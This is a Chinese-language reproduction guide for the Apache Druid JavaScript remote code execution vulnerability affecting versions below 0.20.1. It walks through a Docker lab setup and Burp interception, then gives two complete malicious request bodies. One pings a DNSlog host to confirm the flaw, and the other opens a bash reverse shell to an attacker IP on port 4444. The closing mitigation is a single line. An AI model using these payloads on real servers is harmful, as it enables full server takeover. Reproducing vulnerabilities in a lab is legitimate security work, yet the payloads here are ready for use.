概述
Apache Druid 是一個分布式的數據處理系統。Apache Druid包括執行用戶提供的JavaScript的功能嵌入在各種類型請求中的代碼。在Druid 0.20.0及更低版本中，用戶發送惡意請求，利用Apache Druid漏洞可以執行任意代碼。攻擊者可直接構造惡意請求執行任意代碼，控制服務器。
影響版本
Apache Druid < 0.20.1
使用docker搭建環境
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
復現過程
搭建好環境之后訪問本地8888端口
點擊Load data
然后點擊local disk
右側Base directory填入：quickstart/tutorial/
File filter填入：wikiticker-2015-09-12-sampled.json.gz
點擊preview，然后點擊next
一直點next，直到是Filter時，開啟burp抓包，然后點擊next:filter
（1）DNSlog 驗證
用下面代碼將body中的數據進行替換
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping 7wsyab.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
（2）反彈shell
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/4444 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
漏洞修復
升級到最新版的apache druid
